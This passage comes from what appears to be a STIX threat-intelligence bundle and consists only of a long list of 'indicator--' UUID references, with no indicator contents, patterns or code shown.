        "indicator--85f87c7e-b502-451b-bb6a-cde8f061e694",
        "indicator--9a596003-fcd2-46a4-8e52-608bd3fadfeb",
        "indicator--15d05585-a95f-4d3a-a71b-aef1013ec9a2",
        "indicator--0606b29a-6c69-49f4-83dd-a39ee9f8b984",
        "indicator--08620171-a554-4338-b8a4-8d393d441a83",
        "indicator--6de07e19-df27-4e23-ac83-3a6b8e5c94ae",
        "indicator--49e6a51c-71d8-4998-88e0-a509512f2675",
        "indicator--d4e5a6b0-9cdf-45e4-b2f2-63625f3bfb9b",
        "indicator--c48b0196-19ce-4bcc-a5bb-355a089ceda6",
        "indicator--85bb5718-dd08-4f31-a30f-28b28a184a42",
        "indicator--2f6f623c-8e7d-4ab9-819f-7adeca99f893",
        "indicator--e951383c-e143-4453-a47c-8379263af7e9",
        "indicator--812dfffc-b18e-4a67-a756-8fabd76eeeff",
        "indicator--b668ab21-3e14-4664-9fff-c877b8e11fa5",
        "indicator--afde109f-b49e-4f3e-932c-70cbd22986bf",
        "indicator--5760287e-8c33-40ef-926e-363fc00ff2c1",
        "indicator--60839606-b888-4d3c-b282-40f43338d418",
        "indicator--b2a2d220-a70f-4fd1-b86a-6f7f83249e9d",
        "indicator--9bda3f69-3100-49d8-940e-1fce04966365",
        "indicator--3d6b7782-efc9-409c-924b-4b70f1018502",
        "indicator--585f591b-44bf-4af8-ab15-534689d56068",
        "indicator--da93f64e-7dec-4eae-8951-d0fe0ff99b4a",
        "indicator--0f59aee9-2e71-49de-bec3-964af6e737b7",
        "indicator--f99f3b06-a3e8-45a5-ad94-7377f59ef962",
        "indicator--190e1bc4-8cd6-40de-8f0a-0423e0adfd89",
        "indicator--cbcf6b2b-5777-4b0e-9e21-c4c1f9fe8506",
        "indicator--90bac0c0-90c8-4852-912e-8c7deb1d5304",
        "indicator--b3b0edee-af90-4b16-b751-88f29a892fdb",
        "indicator--9f631291-0dfa-497a-b180-1b87f896901a",
        "indicator--4882ee36-d2cf-4bff-bdd9-e5f82ff26178",
        "indicator--3d724366-9a80-4355-8499-0575b74ac06f",
        "indicator--45fc725e-5c42-49ba-991b-522779aa241b",
        "indicator--ccff46ff-df5b-486e-b30a-4139a2cc0b38",
        "indicator--0292420e-e5df-4f14-83c6-c8bcf3ca13d0",
        "indicator--8def0594-8dfe-49e4-9227-8b11fe2312be",
        "indicator--491b30ca-4f83-42ca-856b-2fae7ac45a5b",
        "indicator--68e8b322-77b5-4790-98a3-b8f516c0b66a",
        "indicator--7ca1f618-6806-45b3-afc7-5b39cc3dae56",
        "indicator--067a6e9e-9f53-43bd-8c63-2b8e757bd4ae",
        "indicator--c3ef2d49-5760-4f33-921d-4b19e58bf96d",
        "indicator--95fafafa-a20b-461d-9127-f304199b8829",
        "indicator--062e36bf-2e5a-4e43-bf97-7ae06fda9430",
        "indicator--bcaf2e47-d4a5-4ad6-89f2-4fbccb95b3f4",
        "indicator--c5190f5d-7856-4aeb-b48f-9331009cb6c5",
        "indicator--e9590502-c8e3-46c3-9f5a-d47f37a3b2a3",
        "indicator--ea403c8d-42c0-439e-a158-5c4bb2013cc4",
        "indicator--e859a398-f4fd-43d9-85b6-db6cddc768d2",
        "indicator--5335ff6f-1a1a-43f1-8a50-de94d521cafe",
        "indicator--3724fc12-f349-49cf-8d87-c2b0ce62ea9e",
        "indicator--2a2d6295-be40-4337-879c-e5691885d6b9",
        "indicator--565101c7-51d8-464c-819c-f54a08ac1936",
        "indicator--94117245-0a60-421a-8406-cd98410597b1",
        "indicator--a75de153-758a-4718-957c-93fb7cc11bcf",
        "indicator--f1339ab2-c0b5-4e9b-8765-29d1ae862015",
        "indicator--e2d23c18-f4b2-4a4a-be95-83359bb6ed81",
        "indicator--33d60959-09cb-4b8b-b6d1-3a2d1b0f73d1",
        "indicator--dccd3013-bb1e-46dd-9c33-ccaaa7eb7ced",
        "indicator--22d50e5a-67b4-43ee-acd6-eae7eb0eefff",
        "indicator--7358f4cd-518f-4a2c-a715-2e15011dfeee",
        "indicator--2e68b7a6-425b-4bf2-a605-d2864c56b78e",
        "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
        "indicator--9d96bd5b-ca01-4a47-b5d3-1ff2c5059dd0",
        "indicator--3cc62c96-5da3-458b-bd37-de4011a21072",
        "indicator--86e53de8-8d09-42a3-862f-565aa2475871",
        "indicator--0864ce4f-c661-472c-abde-5afa7f90889e",
        "indicator--4646163d-7394-45e4-813c-098d9302f175",
        "indicator--452385b4-1786-4952-8a4f-91d60e3462be",
        "indicator--82793f26-b11a-4ac1-8cbd-ca6b8ba919ad",
        "indicator--ee252aa5-25da-48b6-adc5-96b0475bf444",
        "indicator--666f0858-c360-45e6-b12f-0dae3e38b73b",
        "indicator--a38be5bb-d9aa-4571-a060-cb5940372cc0",
        "indicator--055d806a-6d0c-4fd6-b4dd-6a6885ef7ed9",
        "indicator--b79b4b0d-8635-4ba8-b1c9-49acc5eeef9a",
        "indicator--59e9edc2-faa5-4ef1-8e21-6bdb8c64a003",
        "indicator--87da58aa-8fbb-42f4-b577-18758d1f38e7",
        "indicator--a909369e-bda2-4107-9bd8-0174d7a52ff3",
        "indicator--1e0975c8-2077-4ff7-87ae-f27c6dd97b95",
        "indicator--60048bcf-6fbb-4b69-a6e2-7c05562e4820",
        "indicator--8c8a304f-33ff-4bab-8af6-f2a1af104c58",
        "indicator--e6e8f2f2-8f64-4a4f-9a27-7d086e730163",
        "indicator--e6f09df8-076e-421f-9cd7-e348eab36ac7",
        "indicator--676900a1-0c80-4ae6-a438-bead25e96b34",
        "indicator--b75b9183-4c11-466c-af84-6379b4ccba44",
        "indicator--f4d187f9-846a-4ad4-963f-67ff7d907e80",
        "indicator--bc4a1591-4d7f-492b-be04-c3536171110a",
        "indicator--8ac32da1-9a35-43fa-a6e2-23c0aa7c4089",
        "indicator--497ae0cf-329b-4c30-82da-b2a59779dc23",
        "indicator--39731e15-ba43-43ab-84d5-939bb42be071",
        "indicator--d0226bff-bb63-4a61-adbc-ff75a58f5790",
        "indicator--8af6e95e-79be-47e8-b444-08f3ef4911f9",
        "indicator--590bac27-f00c-41c5-b529-b9ee7578631c",
        "indicator--7cc6da0d-8b21-49dc-8f45-91b82daa9113",
        "indicator--f09613f7-24a1-4ba6-aaa0-55d3810daa7d",
        "indicator--7401d085-e6af-4d53-9b64-fa5347e0d8fe",
        "indicator--7389b6f0-b89f-4ab0-9a5b-6faa9aaac67d",
        "indicator--385666b5-1a1e-433d-89d4-9d8419d9f289",
        "indicator--d59910c2-62a8-4051-a659-8fbddbca0cbb",
        "indicator--8c6de9d7-41ea-46d3-9b8b-996fb8d1daf3",
        "indicator--3fe96ab5-0256-4aad-af8d-3d2a223d518f",
        "indicator--491fed70-0aa9-4e7c-8bf9-8c16499bc112",
        "indicator--be129a9f-4a79-4529-a8e5-197fdd7a0fae",
        "indicator--f416799a-2355-46cd-a3d3-3a1af52e882f",
        "indicator--09d0cd28-f52b-4c36-87dd-7ef53d590af5",
        "indicator--feae0f07-024e-46b6-adc5-f68b5f2f2b8b",
        "indicator--5374f50e-f9b7-4547-9699-958130cec46b",
        "indicator--bfe8bdba-2ca5-49df-8596-3b43810f6498",
        "indicator--2f438faf-ccdd-4aa4-8b97-6ed092e4b28b",
        "indicator--57c52a96-f31d-4580-80d1-70a3fdc1849d",
        "indicator--a8229bfc-3f13-4eee-b0c1-a297155232ef",
        "indicator--c9eb5dea-2e99-4e10-a345-b30fe58c003f",
        "indicator--f4f2ef7e-02ae-41d1-bcd5-665305e96768",
        "indicator--af20f529-197e-4c2a-b47f-cab6d3a9ba8a",
        "indicator--672fbe83-9d0c-4be1-a010-42bb3affc718",
        "indicator--0a90c4f1-8eec-4619-82cf-dee0d6a310ca",
        "indicator--615cba90-b5cc-4837-bb8c-2feb9627d252",
        "indicator--ceeadcf2-7d46-4f78-9fba-37b63048db07",
        "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
        "indicator--8a4d6190-b2e8-4a4d-b1c8-0b83f20c64b2",
        "indicator--0316db9e-7074-4c17-ba3a-fbe205393615",
        "indicator--3efc5d90-3a3e-42d6-9aca-ada1f0c33d94",
        "indicator--7cfd814c-2e0d-4c03-aa13-888ebddc2de9",
        "indicator--4ff3b4c8-24d1-411f-a8ee-1a92f17ead24",
        "indicator--4982f80f-ccd5-445d-a3cb-ed0dccb1c83b",
        "indicator--5f89d7dd-fcf9-4d38-a0c7-8c4e07287230",
        "indicator--14e6df64-993e-456d-a5c1-c5b3f60b2443",
        "indicator--e5548a73-dbde-466c-8f15-33803c522c97",
        "indicator--cbbd23cf-3dd9-4900-83a6-b2240ac60a3c",
        "indicator--6105ad08-3f10-4984-b4e1-6708b40ad265",
        "indicator--5b10eeef-ca17-49cd-be39-2598a1f97fbc",
        "indicator--7dcdf783-c1a5-4244-a964-dad43a9d6bd6",
        "indicator--264e480a-9933-49b1-806f-15a8c0dffd66",
        "indicator--0a8dd39a-b18f-4a04-aab2-3ca728fd8bd1",
        "indicator--11860d54-568d-435b-8394-bb34ab53ba16",
        "indicator--c0dce31f-eeca-43a3-bb5a-d8a3f64190af",
        "indicator--eb65745e-c392-495e-a0a1-b9782b4d2444",
        "indicator--c2cd12ec-d62a-4742-970a-8721672a3b11",
        "indicator--6643f07c-4dbc-4e15-8e43-052a2a11c4d8",
        "indicator--4d58b6a4-7f8c-4a12-ab94-eaa7d21da961",
        "indicator--c220f788-90a5-4a38-a923-4c2369ee0e14",
        "indicator--c821b115-e523-49f8-b660-1843e903867c",
        "indicator--9bb40c2a-61fd-49c1-ac30-33e4dd69f73e",
        "indicator--a653049e-e23e-4668-bb4c-861691a6e4b5",
        "indicator--b178d9e0-2ea6-4740-b17a-59aa4445648f",
        "indicator--c086d2f1-1bbc-416c-8015-48cb851baea6",
        "indicator--78f9469c-4f1e-4aa3-83c6-7e5d905116e3",
        "indicator--ee9f1cd5-5d9a-4635-b7cf-0e1bf0db73d1",
        "indicator--92085dfb-d9e3-488b-a36d-275161fd7554",
        "indicator--20b3f7da-d129-4cef-8408-3b8e32e9d86e",
        "indicator--1215d9af-fc00-4022-baa6-5a431b8663d7",
        "indicator--59a229bd-1168-4c30-bd0a-52ab85a37c0c",
        "indicator--2b0bf1ac-787e-481a-8daf-7d1bad6fd449",
        "indicator--15540ab3-3c3e-41d9-b84e-17346903bba6",
        "indicator--4ebd114f-a087-4384-bf39-eb25a22011af",
        "indicator--47b63a52-1651-4157-b7be-cff4661f02a5",
        "indicator--b06b1c7c-7ba7-469d-bb1c-7fef99269e6a",
        "indicator--92d060aa-8bb9-4d18-8fe4-e209feb18426",
        "indicator--02953d55-8797-434a-8b39-a6742a013343",
        "indicator--b05aff1c-fc6d-4570-bcec-7bf5e4d3e1d1",
        "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
        "indicator--9035f40d-8196-48b9-9f19-3e90f328a532",
        "indicator--b60a345d-3fa3-4389-80bf-c89aad5ae37c",
        "indicator--32157945-c979-4514-ab16-e9d436d1df7d",
        "indicator--87988006-0253-43bb-a151-a9c79871761a",
        "indicator--c6b3307f-83ed-4a81-8824-85a555751124",
        "indicator--f2411826-1302-4d6f-975a-2063662ca810",
        "indicator--fab336de-f149-42b4-bdea-15adae4149d8",
        "indicator--91a0d99d-eab0-4a77-aab4-f9ad96d61fe5",
        "indicator--ef5cd887-e80a-4716-a45f-631656417cd3",
        "indicator--7f5c226a-5425-42a0-b114-7590a5053532",
        "indicator--669f3a1c-1641-4fa8-9db9-0cff75a97a3d",
        "indicator--aa045ff5-3f1c-48fd-b1b9-836d5def0854",
        "indicator--0c1ad5d6-bf93-469d-aa57-0b0ba261e918",
        "indicator--6c29fd1d-7bf6-48bf-84b6-6bec9a23f31e",
        "indicator--7653e659-0cf4-47b9-86c8-94e203720278",
        "indicator--a76d7bd8-7163-4266-ba23-0cd45d086f7a",
        "indicator--2667bfac-465a-4a77-a503-d39229fcd181",
        "indicator--7f4cbc6e-6665-4c22-9c0e-d4e701e01200",
        "indicator--dc607bc6-b3ec-44a9-a7e8-a17fb6e51d79",
        "indicator--d73de4a4-01d3-46fc-98df-bd3fd358b10f",
        "indicator--be12066b-3221-4641-951b-4c1644664a7c",
        "indicator--6ee29cb5-9ab6-42a0-a472-0adf964f16d1",
        "indicator--6438212c-6bd3-49f0-9a9b-70330d38c4a6",
        "indicator--21e58c6d-3401-42ad-a2cb-e6a4c0bfcaea",
        "indicator--b70f43c2-2481-493b-bc9e-f270a5a6cfda",
        "indicator--8529e467-988c-44a7-845f-858b57d289c9",
        "indicator--a1c982b8-407d-407b-9c20-078e82d466cf",
        "indicator--4432919b-5d38-43a8-b1f5-7872c759f1ee",
        "indicator--56b7b4ba-f5c2-45cc-8f1c-957ea03a6816",
        "indicator--f39486ed-2e10-4541-824b-5b958e8736b1",
        "indicator--642f946a-5228-4a2c-9ef5-e7929e01eb4c",
        "indicator--80633887-0ef6-46c7-acbd-b3337b80a45e",
        "indicator--34f2271e-fe05-4010-a960-fe9365e986a8",
        "indicator--a0530d96-1835-40ef-b37a-edc6b0217553",
        "indicator--782a1bb0-85f1-445d-9442-9c593778684b",
        "indicator--c851fc4b-293b-4809-9853-183978e1b857",
        "indicator--87e7c258-839c-40de-a98f-ec1d14626d8c",
        "indicator--76589a38-2eea-4e73-818f-3b60c7e4e471",
        "indicator--4655d137-e287-4778-8f43-5e2c9d9bb9e9",
        "indicator--d59ba4cc-b83e-46e9-a00c-981fb94c077b",
        "indicator--2f480540-2872-4204-9337-bed60bfcb70f",
        "indicator--f4d1112a-baff-47e0-ba48-20bea3c639de",
        "indicator--768a84d4-5019-4bc2-aeef-884be38ba87a",
        "indicator--5964c5a9-b442-4a4a-ae29-650d289c989f",
        "indicator--3819c6e9-c287-449f-9127-69d69fed7b23",
        "indicator--3a413357-0989-4380-a641-2871b95ced12",
        "indicator--e607bca5-129a-40ac-9888-81c93efad2cd",
        "indicator--1b9e5262-d360-4e8b-afc5-d8911afbfbeb",
        "indicator--a6b156b1-5de5-4572-84e7-6cd429123f2b",
        "indicator--382b8dbe-7887-436f-84ee-116a97048c76",
        "indicator--b75b876f-bdfa-4fa0-8019-ed9e32e32864",
        "indicator--fc403b8a-af02-4acd-8621-d22511053c22",
        "indicator--330ea395-c7b3-4086-a539-7551c77f2bdc",
        "indicator--7c4ffbe0-569b-42f9-9e62-41de9e59fd9f",
        "indicator--cdc8cd1c-d1be-4a97-b956-e2baeffb8578",
        "indicator--dc539af6-141b-4db1-a1c6-13f93134cae1",
        "indicator--f01c69d2-7f5f-4dea-be8a-f6441c22418e",
        "indicator--1fcb6b98-9b85-4f50-8f1b-d13e3a2e2498",
        "indicator--41503efa-a684-467a-b44b-e49043064fb8",
        "indicator--92b4ea12-c40c-49a2-9124-f0a07e20151a",
        "indicator--02b658ba-a67e-4fb3-bffb-a09356c23416",
        "indicator--3dc7f2b0-0964-448e-aa87-e463cba40eab",
        "indicator--8cba0e21-b833-4b2a-8cc2-6d144652e2a0",
        "indicator--5d707458-a8e9-4a30-9d06-770df9a2b8c4",
        "indicator--02dd5453-e004-4a43-918a-9dc6fae11413",
        "indicator--c230734a-c406-4176-ae92-0eb70b2fed48",
        "indicator--6cd35723-2a62-4a34-9393-ec437e447f84",
        "indicator--51ef4fec-7401-4797-b4d5-398ba16ec35c",
        "indicator--09ec046e-6dc6-4828-b868-9810396cafc2",
        "indicator--43ab7c46-c528-4310-aaa5-4143a0c9e7e7",
        "indicator--e24dd11d-6819-4c05-926e-521af7662253",
        "indicator--13574f05-2233-4ae1-a97f-9fdf9017c6e2",
        "indicator--fc20145b-2fb3-40a3-8847-0d034f79ca27",
        "indicator--565e559c-5135-46e3-9adb-2d5e626383ce",
        "indicator--66a6d5cd-800c-40f2-b0c4-1e187e2cee39",
        "indicator--fa2390e7-e95e-486c-8364-cd843dfb5095",
        "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
        "indicator--15916f7b-6b07-433d-8a23-cb94ace93051",
        "indicator--c2fad70b-141d-4b50-8918-23a974af3f4d",
        "indicator--b002297c-89bd-47bd-b9b3-b5b96049f86a",
        "indicator--f3a7db66-dd21-4185-b3b1-0b4319bf67ea",
        "indicator--02e562f2-3e7b-4fd2-838c-49ce520b588e",
        "indicator--f1b9ea09-7998-4863-ad9e-1344ad3040a9",
        "indicator--5cda55f0-7c1a-41e0-850a-25f0c11ae4bd",
        "indicator--93464ca4-bf2b-4d99-8444-e77d342229cb",
        "indicator--e41c0920-1381-4a0a-b0fd-beb8e85230c8",
        "indicator--3e22cf9e-2d6b-45f7-abe5-7d1956697103",
        "indicator--ff0412c7-d084-4951-bc49-65666e3100b6",
        "indicator--c4c6acc4-469e-4048-8ee3-66c0f1c67a99",
        "indicator--417df798-383d-46ab-879b-69709f72e4f5",
        "indicator--f7ded307-511f-49f2-b443-feaa0438a5cc",
        "indicator--3cf00a01-8079-47b0-8d7d-1414260f4013",
        "indicator--288579ea-01df-4841-a44a-ac70111abaf1",
        "indicator--cea66a6d-84f4-4148-a7ca-fa7fd73160d4",
        "indicator--62df1efd-6a6d-4d62-aecb-ed20ef26c1a5",
        "indicator--6eb937f3-7686-430b-b673-d135320921de",
        "indicator--42be73d1-698c-4919-baf9-6e461fcf0a5e",
        "indicator--99bdcec7-0269-49d1-8d33-24588fbd04e8",
        "indicator--88d57799-622a-4215-a426-04d3bc4a9e96",
        "indicator--d0dc66df-1c8a-4364-b2cc-1132ef92de67",
        "indicator--ba46e126-5ec7-4a7b-abfe-393ec84e1803",
        "indicator--2df27012-fdac-407d-a868-ef0f12991db2",
        "indicator--609910ae-2a7c-4ba7-a3d3-71b4a1193555",
        "indicator--0cc138b1-3424-4cfe-8ea7-3d3ba2e4e4bf",
        "indicator--8dc6f98d-cdd1-4920-bc95-fa4f7229d7a8",
        "indicator--0fcf1351-3e10-4aec-89e2-58b8229fa157",
        "indicator--2436f9ec-52d4-40aa-9afa-40dfd8c63e1e",
        "indicator--13ee20fd-0850-40fc-83c8-c55534013b00",
        "indicator--0429c3d9-f6b9-4882-92ed-992fac1f934a",
        "indicator--612946e9-ffe8-4d51-af2a-10bda1f89edf",
        "indicator--3c7ac580-bd53-4fcf-aa95-d5d8936cd3b0",
        "indicator--58fde87b-a746-404f-87c4-40500a76dc22",
        "indicator--75f9f942-e8e0-4779-b922-9f981398594a",
        "indicator--5f2a8517-f237-4a6b-93c9-a42dddbeb1eb",
        "indicator--787abd30-4d04-4cc5-98de-549c583db89f",
        "indicator--8a0f85f6-15e9-4e45-84aa-e4a4ab9acfea",
        "indicator--b88e85d4-afd5-4942-a2db-92db3d3819a4",
        "indicator--c1583308-06cb-4745-83be-7630f1bcb62d",
        "indicator--c848df17-d63f-4567-a2c9-32ef89d27468",
        "indicator--730fa3d1-8105-426b-bb4b-cb299464f22a",
        "indicator--54be8499-252f-4106-b009-23df160be1fc",
        "indicator--40e0308d-8981-4583-9c93-6c071663b6b5",
        "indicator--0896d7a9-ae51-4279-9ae1-934da0307893",
        "indicator--c7073241-21a3-4f93-a6ec-0052e76f4898",
        "indicator--ee9589df-218e-469d-9f2d-30b74af3acfd",
        "indicator--8251aaa9-304a-4fd2-a24b-ee887cc449af",
        "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
        "indicator--4b5357d5-7fe9-4243-8542-3fa38a074791",
        "indicator--322391a7-5f97-46f8-9b41-876c6c2a445a",
        "indicator--7e0cef78-3fa7-49c1-bde1-9a3d61ba8a4b",
        "indicator--75f8ab09-e4a2-48a2-b348-0e8d9afc2199",
        "indicator--b7aab99a-13f2-4d03-acdb-a2cdee2b0982",
        "indicator--044cbf55-dca4-4e17-8306-7a447c9a3e3a",
        "indicator--61f61d37-4f5e-4465-b4bb-4bbebc0e0cab",
        "indicator--e18cf912-2363-469d-81bf-542e6d68223d",
        "indicator--6d291b99-6171-4616-be36-105573900cf0",
        "indicator--21cadc4b-feb6-4ceb-8c7a-1af18ab9960b",
        "indicator--47fba554-7fd3-4361-995e-f2ab0a65a8f3",
        "indicator--fa4f3798-aa90-48d7-9d3d-b9d0037e75b5",
        "indicator--8490d623-fb32-4a9e-8fe1-3ce0ea4ebb3e",
        "indicator--51f55115-5c16-4a09-a88f-992bf8154793",
        "indicator--1414de95-be77-4b8c-bad4-19a7f62230d6",
        "indicator--f4efb083-e4cf-47c2-939a-4b1770f8bee4",
        "indicator--e066a2ab-fd9b-49b2-b7e2-ce99956f8bc8",
        "indicator--d1d48f3f-f1c7-4ddc-9116-c464a5f751b7",
        "indicator--5078df61-8355-4d43-b605-d0fa97b1f217",
        "indicator--4af03a5b-4558-4170-90da-0c8665fd1327",
        "indicator--562aabdf-6d0c-4843-867a-35fca7f60d92",
        "indicator--eb069cbe-d26a-4f09-93ca-0f920fa126f7",
        "indicator--6dfe03c6-9109-4de3-8c35-a21eed6cd35d",
        "indicator--33c48079-6e4f-42f5-ada3-5e4e1e644649",
        "indicator--0cc113ac-68ba-4510-97f4-918ce96d651a",
        "indicator--7a615bef-ffe2-4118-b483-8090a325a191",
        "indicator--f23e46f9-fbf7-489c-8e06-1dc6f6e417fe",
        "indicator--e647fcfe-80bc-4d8c-b941-e22f5a3e2617",
        "indicator--3d555d97-4004-4896-9c5c-108e2774473c",
        "indicator--179144e5-28b6-48cc-96cb-22887f154b15",
        "indicator--b4864215-323c-4926-a6fa-c05c2676785d",
        "indicator--0a65a39f-4ab5-46fa-b997-56fbccd5591f",
        "indicator--39d858bc-6ef2-4ba0-9295-267a5c448acc",
        "indicator--80cf2c75-ed73-4fb1-aafd-6341d513fd99",
        "indicator--699bef5a-bf7b-419a-8c61-4a10e6feef66",
        "indicator--46dd907b-1d07-4527-a58b-251e61c7add2",
        "indicator--06af22bc-037f-4f78-957c-45474f949a6c",
        "indicator--34f24d14-cdea-4783-aa14-4e5c65ab8dd6",
        "indicator--be7fe2a8-e37b-40cf-bd16-bc0b5a2f88da",
        "indicator--3d12c358-3a35-4647-a6ce-8ab8d2520e5b",
        "indicator--090ad36d-8e70-4545-9529-634cf280d2fb",
        "indicator--f22096e8-f04e-46d3-aff1-bb883544c591",
        "indicator--c1607d97-ff38-4437-9f79-41bfdd6ac1e4",
        "indicator--08fa34a2-f183-406c-b5c2-576706fb2be2",
        "indicator--0d1f0bbf-7446-4249-b905-147a8eae2963",
        "indicator--70de1269-faa6-49bd-8590-63f144c92e58",
        "indicator--0b1390e6-f0e8-4c43-95ba-aa1d5aed2d2f",
        "indicator--0c9cda72-8581-4740-a8b3-f19dad0f9388",
        "indicator--91f45cb1-3f5f-4a9d-9483-b8fefc3554a0",
        "indicator--fe8c5918-0fd8-4863-9527-4525e0e092fa",
        "indicator--8dd4105b-063b-4ab9-92cf-abd1b72081a5",
        "indicator--513a108a-f982-4794-8cc3-521faa17e0c2",
        "indicator--73961fba-8e23-43b8-b214-4137fa8cfac6",
        "indicator--45a2d070-0c69-42b3-b535-c68245d038c3",
        "indicator--13c58946-dea9-4c74-9d89-271b32ae3423",
        "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
        "indicator--0a86f4f8-2930-48ec-a7cc-740581e67ac0",
        "indicator--0ff8123d-c188-4fe7-a6af-8006921f1251",
        "indicator--d16a8261-939d-4124-989d-1474482b66b8",
        "indicator--50fcdd6d-9e65-439d-91c6-99573da9b443",
        "indicator--bd070e8a-7aab-4dd4-b9b3-44aa73b3f514",
        "indicator--5fcc1f9f-50bf-41b3-aeb9-a7acac2b0d4b",
        "indicator--014e620b-eeed-4a35-b406-09f64e6e5046",
        "indicator--c8ce7a9e-11d2-4642-9a4e-98d93c39112d",
        "indicator--d10ac882-5034-4df3-b87f-a3d19570ad39",
        "indicator--6d35173f-f50c-4019-8ede-b8d644c3ae23",
        "indicator--9306d0af-a00e-4a54-8baa-91f519c6aae2",
        "indicator--a2ba8a32-06ba-42bb-8d4a-0f7fa3033ad9",
        "indicator--872b8798-d504-422b-994b-03a0eb8c9d43",
        "indicator--d4c5e383-d792-44f7-af1a-40bee1b7257e",
        "indicator--8ceffadd-7786-48fd-bd92-b21e61a6a9d7",
        "indicator--b1f4e9ad-2290-4b20-af9a-cbed60457ca4",
        "indicator--0b136da5-7b68-4e76-b22e-c6bb277cd491",
        "indicator--f30bc86a-b504-48fb-8863-5f23c7369f52",
        "indicator--cd2ccbda-0b43-46b9-ac48-ca805d5a24a4",
        "indicator--abd04a84-da79-4e86-9728-88c7e271d8dc",
        "indicator--e3b02752-95a7-41e0-b922-4e2348b918c1",
        "indicator--aac177d3-01b8-47a4-9862-a9a3de6d0131",
        "indicator--2c394e53-b72e-4ae9-8e54-c351401726dd",
        "indicator--2b27ccfc-0b4a-43d5-9b5c-2e9070dadfbc",
        "indicator--a0b6f95b-2396-4812-82ba-e53ed0c9c5db",
        "indicator--d9061915-0a70-4371-a534-68467e72f1c9",
        "indicator--61f8dd2a-bd8f-4055-81ee-e9a38abc1f2b",
        "indicator--ecace594-d0a5-471f-a66e-5b3653707908",
        "indicator--8d98ca0c-58c1-4194-bfed-72b8a2f82989",
        "indicator--b15f81bc-3a0f-4710-b172-70c06284a007",
        "indicator--818e7187-dcb7-4044-9ea6-2c2cdd5e4581",
        "indicator--466f6a84-6ae2-462e-9524-98f8b887250d",
        "indicator--3163ef9b-49aa-46e1-b596-59ece69d1d02",
        "indicator--f8aee8d4-1c7a-4649-8a8a-00828b309a4b",
        "indicator--b338b69e-6a76-4db6-b38e-a05f6404a3ba",
        "indicator--18f23ae1-4aff-4b0b-9e3d-576a75110e20",
        "indicator--36799a70-270d-4de4-bf5a-88c9e6335ca4",
        "indicator--bc1e511a-0e89-4881-be99-e224d073fa38",
        "indicator--3f94ca6d-2fc3-4f4c-93ed-534c8a2c10a4",
        "indicator--b7df1333-822a-4676-aa09-0c7b25ed9811",
        "indicator--b98cf56d-c319-40b0-8b70-0a1b566e8caa",
        "indicator--9d6a0cae-6059-4430-b29b-30e02f06da56",
        "indicator--aa784ed9-5acc-4e6b-a33f-98d606cf9e23",
        "indicator--7bf855b2-2c0f-4087-9891-5b8464f4f553",
        "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
        "indicator--7d7383dc-303d-4d90-85bb-721beaca3fbb",
        "indicator--7934ca27-fa83-4918-90f3-ef209b85401e",
        "indicator--32df1e0e-3292-4454-a6e6-7eaba96e71cc",
        "indicator--ee285514-4bb4-463b-9408-c52782402369",
        "indicator--87856b04-6f1e-44b7-9e8f-db869a42235d",
        "indicator--cdcd9c02-ede5-44bb-b1ae-87d81136762a",
        "indicator--8c1fc659-89dd-430e-9455-85e3a54a3ef7",
        "indicator--db167f27-df35-4ea2-8b95-52cf13e3d3d8",
        "indicator--6b004a43-c2f3-457e-91c4-50d66998f0eb",
        "indicator--b5647870-4e23-46f6-b0fd-069ec9ad51e9",
        "indicator--840af092-3cc2-430e-8958-53154061ae8d",
        "indicator--b7be6616-b3b3-43f4-a105-e0ee2f9a0847",
        "indicator--4d88349f-c707-4184-b260-19664c396463",
        "indicator--75172df6-f618-4bba-81a7-cffe174b32c6",
        "indicator--cb348a88-6b4b-475e-a631-179799e22e80",
        "indicator--676beca7-c492-4b95-9ecd-73b1c99572a6",
        "indicator--de845fa0-f48d-44bd-8858-cdd22a516ff6",
        "indicator--bad5294f-e073-47d1-ab30-834f18847429",
        "indicator--45f6a2b1-f5ea-4363-b1e0-f71f69f9efec",
        "indicator--02e03db4-6de5-4668-9ff6-67b32513cbfd",
        "indicator--f8956b90-5815-4dab-92c1-838d4ba79c00",
        "indicator--992ca54a-5a96-43c0-93f4-350583eaa875",
        "indicator--55a4cf65-8987-44c6-82ae-75effee2981b",
        "indicator--c3ccd725-db9a-431d-816c-fc0ea54a639b",
        "indicator--3a8c3083-dc0c-4507-a08f-85d964f0e7be",
        "indicator--fae44b99-becc-433f-8098-e1f66b86fccb",
        "indicator--73ed0c09-b9bc-441e-97c4-a09eab3e6781",
        "indicator--5de86195-3ddf-4205-80d0-5d7e31aac282",
        "indicator--b8690fcd-f7c1-48c8-a266-2ea0bea70d6b",
        "indicator--ecc71f20-76e3-4772-ba4e-c0fbce0526a2",
        "indicator--64947df5-cb32-4e13-a069-8991e9486466",
        "indicator--0a6c8b19-290f-47da-9760-f1552be5820b",
        "indicator--3c1a02e2-7898-4979-be94-bd403705e25d",
        "indicator--88b3f6c1-01fd-4a75-85ff-c1b62a621fe9",
        "indicator--d768bac6-56ed-4d66-8585-b1f41170525d",
        "indicator--1f9847f9-6afd-414f-b5ce-64a54557f4fb",
        "indicator--6ab67add-ef3e-438a-8c87-3fbba9ecb8c4",
        "indicator--bd1b59c0-f875-4c24-878a-30b54e4b8467",
        "indicator--27cf094c-4c64-43a0-bfdf-ae1b184d3968",
        "indicator--61282712-5778-4a0a-9359-0cdcb7514133",
        "indicator--2e8cac7b-aa22-4fc3-bf16-cc35415ea535",
        "indicator--46a26322-ea99-43f9-ae21-3cbae08e990a",
        "indicator--aeb855c4-eb4f-4202-a0fb-d47e7a2d0d39",
        "indicator--9e5eda51-add7-48ac-bbad-8aabba2f63bb",
        "indicator--00952412-3244-4433-b2f6-60aae2bb4b2e",
        "indicator--b92bebf0-31d2-4af8-bde6-7d3df76185af",
        "indicator--72f7b6b6-90b7-4174-983a-ac7e119c74c4",
        "indicator--e894116a-9e90-4a75-9528-92e295db27ca",
        "indicator--cf2f22aa-ca09-46df-ae86-a1f0c6f0c5db",
        "indicator--4a67731f-2329-41cd-8b07-61caefaf0d8a",
        "indicator--8d93facd-5669-44a3-b33d-a28df3ab296e",
        "indicator--89ef099c-9802-4059-ae56-adde1aa34b43",
        "indicator--fe9f9cb9-0c71-4c43-8197-1486f37b03e5",
